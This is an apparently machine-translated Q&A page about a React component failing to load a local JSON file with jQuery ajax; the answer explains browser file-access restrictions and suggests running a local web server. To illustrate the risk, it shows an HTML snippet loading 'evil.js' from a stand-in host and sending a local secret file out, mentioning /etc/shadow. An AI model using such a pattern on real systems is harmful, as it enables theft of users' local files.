Question

我有以下反应成分。

import React, { Component } from 'react';
class GraphView extends Component { 
    constructor(props){
        super(props);       
        this.state = {      
            datajson: ''
        };      
    }   
    componentDidMount() {
        $.ajax({        
            url: 'data.json',
            dataType: 'json',           
            success: function(data) {
              this.setState({datajson: data});
            }.bind(this)
      });
    }
    render() {      
        return(     
            <div>   
                ...
            </div>
        );
    }
}

export default GraphView;

当我尝试加载本地json文件＆＃34; data.json＆＃34;时，它显示未找到错误。我需要传递任何其他参数吗？我的本地json文件与GraphView的文件夹位于同一文件夹中。

Answer 1

由于安全性，大多数浏览器都会关闭从文件系统加载JSON。这通常称为“交叉原点”，但即使原始文件系统（HTML）位于文件系统上，Chrome也会将其关闭。

想象一下如何从文件系统中读取可能会带来安全问题。来自文件系统的HTML是否能够与互联网“交叉”进行对话？

考虑这个HTML：

<html>
  <head>
    <script src="http://ontheinternet.com/evil.js"></script>
    <script>
    $.ajax('/home/username/secret.txt', sendBackToMotherShip);
    </script>
  </head>
</html>

应该允许加载哪个文件？ evil.js或secret.txt？最糟糕的情况是，运行浏览器的用户可以读取/etc/shadow。

你可以从开关--allow-file-access-from-files开始，关闭chrome中的安全功能，但不是很好，但很适合调试。

一个简单的解决方法是启动Web服务器。

在节点中：npm install -g node-static && static
在python 3中：python -m http.server 8888，然后打开localhost：8888。

在反应js中没有使用ajax加载本地json文件

1 个答案: